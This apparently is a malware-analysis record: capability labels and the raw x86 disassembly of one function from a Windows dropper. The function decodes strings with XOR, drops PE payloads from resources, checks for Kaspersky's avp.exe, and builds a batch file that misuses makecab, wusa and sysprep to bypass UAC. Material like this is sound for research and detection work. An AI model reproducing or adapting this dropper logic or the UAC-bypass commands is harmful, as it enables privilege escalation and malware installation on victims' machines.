Function at 0x401698
Capabilities:
Check os version
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Parse pe header
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a8
push ebx
xor ebx, ebx
push esi
push edi
mov byte [ebp - 1], bl
xor eax, eax
mov cl, byte [eax + 0x405228]
xor cl, 0x55
mov byte [ebp + eax - 0x50], cl
inc eax
cmp eax, 0x18
jb 0x4016ab
lea eax, [ebp - 0x50]
mov byte [ebp - 0x38], bl
push eax
push ebx
push 2
call sub.KERNEL32.dll_OpenEventA
cmp eax, ebx
je 0x4016db
push eax
mov byte [ebp - 1], 1
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [str.wmcserv]
push 0xff
push dword [ebp + 0x10]
mov esi, 0x406390
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0x4015dc
push esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
push 0x3ff
push 0x405e48
push ebx
call fcn.004036bb
test eax, eax
je 0x401d00
push 0x40638c
push 0x406490
push esi
call fcn.00401d09
add esp, 0xc
lea eax, [ebp + 0x10]
mov edi, 0x1000
mov esi, section..rsrc
push eax
push 4
push edi
push esi
call fcn.004036a4
lea eax, [ebp + 0x10]
mov dword [0x4070c4], 0xd660
push eax
push dword [ebp + 0x10]
push edi
push esi
call fcn.004036a4
lea eax, [ebp + 0x10]
push eax
push 4
push edi
push esi
call fcn.004036a4
lea eax, [ebp + 0x10]
mov dword [0x4070d4], 0x2860
push eax
push dword [ebp + 0x10]
push edi
push esi
call fcn.004036a4
lea eax, [ebp + 0x10]
push eax
push 4
push edi
push esi
call fcn.004036a4
lea eax, [ebp + 0x10]
mov dword [0x4070e4], 0x2a60
push eax
push dword [ebp + 0x10]
push edi
push esi
call fcn.004036a4
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x153]
mov byte [ebp - 0x154], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401ee4
test al, al
je 0x401a2a
cmp dword [0x40638c], 1
jne 0x401a2a
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
push str._WIN7
push dword [0x406490]
call esi
pop ecx
test eax, eax
pop ecx
je 0x40181e
push str._Win7
push dword [0x406490]
call esi
pop ecx
test eax, eax
pop ecx
je 0x40181e
push str._win7
push dword [0x406490]
call esi
pop ecx
test eax, eax
pop ecx
jne 0x401a2a
mov esi, str.dszqucbtf_eml
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, 0x1010101
movsw word es:[edi], word [esi]
sub dword [ebp - 0x24], eax
sub dword [ebp - 0x20], eax
sub dword [ebp - 0x1c], eax
lea eax, [ebp + 0x10]
push eax
push 0x67
call fcn.00402560
mov edi, eax
pop ecx
pop ecx
mov esi, 0x104
mov eax, dword [edi + 0x3c]
mov word [edi], 0x5a4d
mov dword [eax + edi], 0x4550
lea eax, [ebp - 0x154]
push eax
push esi
call sub.KERNEL32.dll_GetTempPathA
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x154]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x154]
pop ecx
push eax
call fcn.00403534
lea eax, [ebp - 0x154]
push ebx
push eax
call fcn.0040368d
push dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
push edi
push eax
call fcn.00403676
push dword [ebp - 0x10]
call fcn.0040365f
push edi
push ebx
call sub.KERNEL32.dll_GetProcessHeap
push eax
call fcn.00403648
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x4a3]
mov byte [ebp - 0x4a4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x29b]
mov byte [ebp - 0x29c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x154]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x4a4]
push str.makecab.exe___s____s.cab_
push eax
call edi
push 0x44
lea eax, [ebp - 0x198]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x48]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x28
lea eax, [ebp - 0x48]
mov dword [ebp - 0x16c], 0x101
push eax
lea eax, [ebp - 0x198]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
lea eax, [ebp - 0x4a4]
push ebx
push eax
push ebx
call fcn.00403506
lea eax, [ebp - 0x29c]
push esi
push eax
call fcn.00403579
lea eax, [ebp - 0x5a8]
push esi
push eax
push ebx
call fcn.004036bb
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x4a4]
push str.wusa___s.cab___extract:_sSystem32_sysprep__quiet_r_n___s_system32_sysprep_sysprep.exe____s__r_n_del__s_r_ndel__s.cab
push eax
call edi
add esp, 0x20
lea eax, [ebp - 0x154]
mov dword [ebp - 0xc], ebx
push eax
push esi
call sub.KERNEL32.dll_GetTempPathA
lea eax, [ebp - 0x154]
push str.oout.bat
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x154]
pop ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call sub.KERNEL32.dll_CreateFileA
mov esi, eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x4a4]
push 0x208
push eax
push esi
call sub.KERNEL32.dll_WriteFile
push esi
call sub.KERNEL32.dll_CloseHandle
lea eax, [ebp - 0x154]
push eax
push str.cmd.exe__c___s_
lea eax, [ebp - 0x4a4]
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x4a4]
push ebx
push eax
call fcn.004035ec
jmp 0x401d00
call fcn.00401000
call fcn.00401ece
test al, al
je 0x401a57
call fcn.0040107a
push 1
call fcn.00402634
mov dword [esp], str.wmcserv.dll
push 0x406990
call fcn.00403311
pop ecx
pop ecx
cmp dword [0x40638c], ebx
jne 0x401c77
call fcn.004026b5
test al, al
jne 0x401d00
call fcn.004028fc
mov byte [ebp + 0x13], al
call fcn.00402964
mov esi, str.avp.exe
mov dword [ebp - 0xc], eax
push esi
call fcn.004026de
pop ecx
mov dword [ebp - 0x10], eax
call fcn.00402a90
test al, al
jne 0x401ab3
cmp byte [ebp - 1], bl
jne 0x401ab3
cmp byte [ebp + 0x13], bl
jne 0x401ab3
cmp dword [ebp - 0xc], ebx
jne 0x401ab3
push 1
call fcn.004013d0
jmp 0x401c76
mov edi, 0x405110
push 0x2e
push edi
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
mov dword [eax], 0x6c6c642e
pop ecx
lea eax, [ebp - 0x29c]
push 0x104
push eax
push ebx
call fcn.004036bb
cmp dword [ebp - 0x10], ebx
je 0x401b12
push ebx
call fcn.00402d06
cmp byte [ebp + 0x13], bl
pop ecx
je 0x401b12
call fcn.00402895
mov dword [ebp - 8], ebx
push esi
call fcn.004026de
test eax, eax
pop ecx
je 0x401b12
push 0xc8
call fcn.004035be
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x32
jl 0x401af4
lea eax, [ebp - 8]
push eax
push 0x66
call fcn.00402560
mov esi, eax
pop ecx
pop ecx
mov eax, dword [esi + 0x3c]
mov word [esi], 0x5a4d
push edi
mov dword [eax + esi], 0x4550
call fcn.00403534
push ebx
push edi
call fcn.0040368d
push dword [ebp - 8]
mov dword [ebp - 0x14], eax
push esi
push eax
call fcn.00403676
push dword [ebp - 0x14]
call fcn.0040365f
push esi
push ebx
call sub.KERNEL32.dll_GetProcessHeap
push eax
call fcn.00403648
push ebx
push edi
call fcn.00403631
mov esi, 0x4050dc
mov dword [ebp - 8], eax
push esi
push 0x65
push ebx
call sub.KERNEL32.dll_FindResourceA
push eax
push ebx
mov dword [ebp - 0x14], eax
call sub.KERNEL32.dll_LoadResource
push eax
call sub.KERNEL32.dll_LockResource
push dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
push ebx
call sub.KERNEL32.dll_SizeofResource
push eax
push dword [ebp - 0x1c]
push 0x409
push 0x65
push esi
push dword [ebp - 8]
call fcn.0040361a
push ebx
push dword [ebp - 8]
call fcn.00403603
mov ecx, dword [0x406994]
lea eax, [ebp - 0x29c]
push eax
call fcn.00402fa8
push 1
pop esi
push esi
push 0xff
push 0x406348
call fcn.00401e01
pop ecx
pop ecx
mov ecx, dword [0x406994]
push eax
push 0x405100
call fcn.00403023
push esi
push 0x21
push 0x40688c
call fcn.00401e6d
pop ecx
pop ecx
mov ecx, dword [0x406994]
push eax
push str.TIME
call fcn.00403023
mov ecx, dword [0x406994]
push edi
call fcn.00402ef6
push edi
call fcn.00403590
push esi
push eax
call sub.KERNEL32.dll_GetProcAddress
cmp eax, ebx
je 0x401c61
cmp dword [ebp - 0xc], 2
mov dword [ebp - 0x20], str._WKS6d
je 0x401c39
mov dword [ebp - 0x20], 0x405140
lea ecx, [ebp - 0x29c]
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x20]
push ecx
push 2
push esi
push edi
push dword [0x4053d8]
push dword [0x4053d4]
push dword [0x4053dc]
call eax
add esp, 0x1c
cmp dword [ebp - 0x10], ebx
je 0x401c77
cmp byte [ebp + 0x13], bl
je 0x401c70
call fcn.00402bc8
push esi
call fcn.00402d06
pop ecx
cmp dword [0x40638c], 1
jne 0x401cb2
push 0x40513c
push dword [0x406490]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x401cb2
call fcn.00401ece
test al, al
je 0x401ca9
push ebx
call fcn.0040103b
pop ecx
jmp 0x401d00
lea eax, [ebp - 0x34]
push eax
call fcn.004034aa
cmp dword [0x40638c], 2
jne 0x401d00
push 0x405140
push dword [0x406490]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x401d00
push 0x80
push dword [0x406494]
call sub.KERNEL32.dll_SetFileAttributesA
push dword [0x406494]
call fcn.00403534
test eax, eax
jne 0x401d00
push 0x3e8
call fcn.004035be
inc ebx
cmp ebx, 0xa
jl 0x401cd1
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10